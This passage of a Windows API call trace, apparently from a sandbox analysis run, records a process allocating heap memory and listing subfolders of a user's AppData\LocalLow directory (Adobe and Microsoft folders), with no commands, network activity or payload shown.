(HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0121.898] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0121.898] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.898] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30187b8 | out: hHeap=0x5e0000) returned 1 [0121.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.898] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.898] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.898] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.898] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0121.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.898] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.898] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.898] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.898] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.898] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.898] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.898] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.898] PathFindFileNameW (pszPath="") returned="" [0121.898] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.898] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.898] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.899] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.899] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1c) returned 0x3022ab0 [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094830 | out: hHeap=0x5e0000) returned 1 [0121.899] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0121.899] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0e30 | out: hHeap=0x5e0000) returned 1 [0121.899] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.899] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ad8 [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0121.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0121.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.900] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.900] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.900] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.900] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.900] PathFindFileNameW (pszPath="") returned="" [0121.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.900] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.900] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.900] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0121.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023140 [0121.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x38) returned 0x3008fa0 [0121.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.900] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0121.900] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.901] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023140 [0121.901] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.901] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.901] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.901] PathFindFileNameW (pszPath="") returned="" [0121.901] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.901] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.915] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.915] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0121.915] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.915] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e188 [0121.915] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x54) returned 0x3001720 [0121.915] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.915] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.915] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e188 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x30231e8 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e3b0 [0121.916] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0121.916] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.916] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.916] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0121.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.917] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.917] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.917] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.917] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.917] PathFindFileNameW (pszPath="") returned="" [0121.917] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.917] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.919] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.919] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.919] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.919] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.919] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.919] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.919] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.920] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0121.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.920] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.920] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.920] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.920] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.920] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.920] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.920] PathFindFileNameW (pszPath="") returned="" [0121.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.920] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.921] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.921] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.921] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.921] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.921] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.921] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.921] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.921] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 